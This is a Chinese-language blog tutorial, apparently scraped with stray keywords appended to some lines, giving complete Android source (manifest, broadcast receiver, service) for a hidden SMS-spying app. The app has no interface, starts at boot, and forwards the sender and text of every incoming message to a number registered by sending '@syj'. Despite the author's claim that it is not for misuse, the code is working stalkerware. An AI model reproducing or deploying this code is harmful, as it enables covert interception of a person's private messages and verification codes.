Android短信監聽軟件

本案例是在android手機中運行,是一個沒有界面的短信監聽軟件。主要是用BroadcastReceiver來接受短信廣播,當接收到短信後就跳轉到service中來轉發短信。哈哈,不是用來幹壞事的。這個案例用了個小協議,當用戶安裝好這個軟件後,你先要用本身的手機發送內容@syj來綁定本手機。綁定好後會收到一個ok短信用來肯定綁定成功。而後當其餘人發短信給安裝過軟件的手機,你都會收到短信了。java

主要功能android

能監聽手機接收的全部短信
能監聽手機的開機信息
能將開機信息發送到指定手機上
能將截獲的每一條短信將其發件號碼和內容轉發到指定手機上
能經過接收特殊短信的方法設置接收短信的手機號碼
該軟件能開機自動運行
sql

 

具體代碼app

第一步,編寫AndroidMainFest.xml文件的內容ide

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.tiantian.test"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
         <receiver android:name=".SMSBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.MAIN" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <service android:name=".SMSService"></service>
    </application>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
</manifest>

第二步:編寫SMSBroadcastReceiver.java,主要是監聽到短信後或系統開機後啓動SMSservice.java文件spa

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver{
public void onReceive(Context context, Intent intent) {
Log.v("Cat", "I'm in BroadcastReceiver");
intent.setClass(context, SMSService.class);
context.startService(intent);
}
}

 

第三步:編寫SMSService.java文件,具體代碼以下;code

import java.sql.Date;
import java.text.SimpleDateFormat;
import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSService extends Service{
    private SharedPreferences prefs;
    private Editor editor;
    
    public final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
    public final static String BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED";
    @Override
    public IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onCreate() {
        // TODO Auto-generated method stub
        super.onCreate();
        prefs = getSharedPreferences("_interceptNum", MODE_PRIVATE);
        editor = prefs.edit();
        
    }

    @Override
    public void onDestroy() {
        // TODO Auto-generated method stub
        super.onDestroy();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        Log.v("Cat", "I'm in Service");
        Log.v("Cat", "Action--->" + intent.getAction());
        if(intent.getAction().equals(SMS_RECEIVED)){
            Object[] pdus = (Object[])intent.getExtras().get("pdus");
            if(pdus != null && pdus.length != 0){
                SmsMessage[] messages = new SmsMessage[pdus.length];
                for(int i=0;i<pdus.length;i++){
                    byte[] pdu = (byte[])pdus[i];
                    messages[i] = SmsMessage.createFromPdu(pdu);
                }
                for(SmsMessage message : messages){
                    String messageBody = message.getMessageBody();
                    String sender = message.getOriginatingAddress();
                    Log.v("Cat", "body--->" + messageBody + ";" + "sender--->" + sender);
                    if(messageBody.contains("@syj")){
                        editor.putString("_sendTo", sender);
                        editor.commit();
                        SmsManager smsManger = SmsManager.getDefault();
                        smsManger.sendTextMessage(sender, null, "ok!", null, null);
                    }else{
                        if(prefs != null){
                            Date date = new Date(message.getTimestampMillis());   
                            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");   
                            String sendContent = "date:" + format.format(date) + "\n"
                                    + "sender:" + sender + "\n" + "messageBody:"  + messageBody; 
                            String sendTo = prefs.getString("_sendTo", "發送失敗");
                            SmsManager smsManger = SmsManager.getDefault();
                            smsManger.sendTextMessage(sendTo, null, sendContent, null, null);
                        }
                    }
                    
                }
                
            }
        }
        
        
        return super.onStartCommand(intent, flags, startId);
    }
    
    

}

Date date = new Date(sms.getTimestampMillis());//獲得發送短信具體時間
   //2009-10-12 12:21:23
   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//爲實踐設置格式

這個app潮流公衆賬號主要是推薦給手機用戶最近最潮的軟件,讓你們隨時跟上時尚。咱們會提供給大家最好的服務,喜歡咱們就幫咱們推薦吧!
相關文章
相關標籤/搜索